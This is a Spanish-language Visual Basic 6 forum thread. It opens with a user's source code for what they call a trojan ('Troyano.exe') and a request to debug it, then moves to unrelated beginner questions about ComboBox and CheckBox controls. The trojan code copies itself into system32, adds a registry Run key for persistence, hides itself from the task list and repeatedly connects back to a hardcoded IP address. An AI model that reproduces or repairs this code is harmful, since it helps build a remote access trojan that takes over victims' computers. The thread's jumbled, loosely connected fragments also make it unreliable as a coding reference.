Mensajes

Código [Seleccionar] Expandir

Private Sub Form_Load()
Dim ruta As Variant, Residencia As Variant
Dim win
Dim sys
Dim obj
ruta = App.Path
If Right(ruta, 1) <> "\" Then ruta = ruta & "\"
ruta = ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ruta, sys & "\ShaCCorTh.exe"
Set Residencia = CreateObject("WScript.Shell")
Residencia.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ShaCCorTh", sys & "\ShaCCorTh.exe"
Ws.RemoteHost = "200.83.238.77"
Ws.RemotePort = 5555
SName = "ShaCCorTh"
App.TaskVisible = True
End Sub
ya la conexion esta bien, pero cuando me corre en system32 no me funciona, y si lo cambio de carpeta si funciona, como puedo solucionar ese problema, mirenlo

Saludos, y gracias

Miren este es el code

Código [Seleccionar] Expandir


Option Explicit
Dim ip As String, port As String

Private Sub Form_Load()
Dim Residencia As Variant, Ruta As String, obj As Variant
Dim sys
Dim win
ip = "200.83.238.77"
port = 2700
Timer1.Interval = 1000
Ws(totalindex).RemoteHost = ip
Ws(totalindex).RemotePort = port
App.TaskVisible = False
Ruta = App.Path
If Right(Ruta, 1) <> "\" Then Ruta = Ruta & "\"
Ruta = Ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy Ruta, sys & "\Troyano.exe"
Set Residencia = CreateObject("WScript.Shell")
Residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Prueba", sys & "\troyano.exe"
End Sub

Private Sub Conectar_Click()
On Error GoTo Error
If Not Ws(Index).State = 7 Then
GoTo puente
Else
GoTo Error
End If
puente:
Ws(Index).Close
Ws(Index).Connect ip, port
Error:
End Sub

Private Sub Timer1_Timer()
If Not Ws(totalindex).State = 7 Then Call Conectar_Click
End Sub
NO se escibe en "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Prueba"
miren

pero = parte al incio del pc, pero como pueden ver sale ese error
luego voi a c\windows\system32, ya encontre que el archivo se copio, pero cuando lo abro me sale esto

Ayuda Como puedo hacer para que se escriba en "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Prueba" y que se copie bien, xq cuando voi a la carpeta original donde estaba se ejecuta bien, miren

pero cuando voi a c\windows\system32, como ven arriba no me sale
De ante manos gracias x leer todo esto

jajajajjaj 
Es dificil adivinar lo que se pretende hacer, pero se hace lo que se puede...

Código [Seleccionar] Expandir

Combo1.AddItem Text1.Text

Es para añadir al combo lo que tenga el text1, que es lo que creí que querias.

A codigo lo pudes hacer asi para llenar la lista:

Código [Seleccionar] Expandir

Private Sub Form_Load()
Combo1.AddItem "Hola"
Combo1.AddItem "a"
Combo1.AddItem "todos"
End Sub

Y para sacar el contenido lo puedes hacer asi:

Código [Seleccionar] Expandir

Private Sub combo1_click()
Text1.Text = Combo1.List(Combo1.ListIndex)
End Sub


Un saludo.

muchas gracias
me podrian dar un  manual sobre esto
y todo lo basico xfa

mira
con eso se pùede
no tengo que acer
Combo1.AddItem Text1.Text

Saludos... y gracias
pero me kedo una duda
para que sirve
Combo1.AddItem Text1.Text?

mmm
si sabia eso
tonce esta bien
pero no caxo donde colokarlo
xD
text1.text??
aber da un ejemplo
que cuando se despliegue hacia abajo
salga

Código [Seleccionar] Expandir


Tesis
vb
...


y com ago para que en un combo1, agrege texto hacia abajo

La verdad no te entendi muy bien, pero mira a ver si es esto 

Código [Seleccionar] Expandir

Private Sub Check1_Click()
Check1.Value = 0
Check2.Value = 1
Check3.Value = 2
End Sub


Control CheckBox: 0 es desactivado (predeterminado), 1 es activado y 2 es atenuado

esto
vale gracias
y gracias a todos los demas que intentaron decucir lo que puse
xD
que signifuca 2
atenuado??k ees eso?
xD

yo quiero que se salga chech2box si es que ago click en chech1box
xq msgbox??

como ago para cuanod se aprete un Check1box
se salga si es seleccionado Check2box-?

ok vale